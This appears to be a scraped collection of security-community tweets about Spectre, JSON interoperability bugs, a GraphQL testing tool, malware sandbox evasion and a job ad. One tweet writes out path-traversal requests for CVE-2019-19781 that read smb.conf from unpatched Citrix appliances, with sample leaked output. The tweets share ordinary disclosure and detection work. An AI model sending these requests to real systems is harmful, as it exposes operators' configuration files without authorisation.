do not, my friends, become addicted to cracked engineer culture. that way lies building mountains of cancerous abstractions that amount to nothing, yakshaving for decades until you are forgotten by history. follow instead your natural curiosities and your pursuit of divine glory
Congrats to Google Security for putting together this PoC of the "web version" of Spectre. Very happy to see how an academic research went into a real-world working demo. Congrats to the whole team, including our academic friends. Give it a try now https://t.co/oGIUapPUak @_tsuro
JSON Interoperability vulnerabilities sound like they have some serious bug-bounty potential. Nice work once again by @theBumbleSec/@bishopfox
https://t.co/uHCGJAmt4f
This is a great exploration of an under-appreciated technique by @RobinVerton. Alas it's a pain to detect black-box: that's the reason param miner has an option called "try -_ bypass".
https://t.co/Aw2taY4TsP
As a part of our continuing security research journey, we started developing an internal tool to speed-up GraphQL security testing. We're now making it public! Read our latest blog post https://t.co/InHhYrOxEl or download from Github https://t.co/N7rfebmFB2 #GraphQL#AppSec#InQL
We launched our new Malware Evasion Encyclopedia, which contains over 50 techniques used by various malwares to detect virtualized and sandboxed environments.
We hope this effort would allow for better understanding and analysis of modern attacks.
https://t.co/NVCp10sUiv
CVE-2019-19781 Citrix path traversal base on vpns folder
Example:
GET /vpn/../vpns/services.html
GET /vpn/../vpns/cfg/smb.conf
patch >> HTTP/1.1 403 Forbidden
no patch >> HTTP/1.1 200 OK
[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast
We're looking to hire a web vulnerability researcher to join @garethheyes and I on the @Burp_Suite research team, and share their knowledge with the community via @WebSecAcademy
https://t.co/UVNEkdyZGB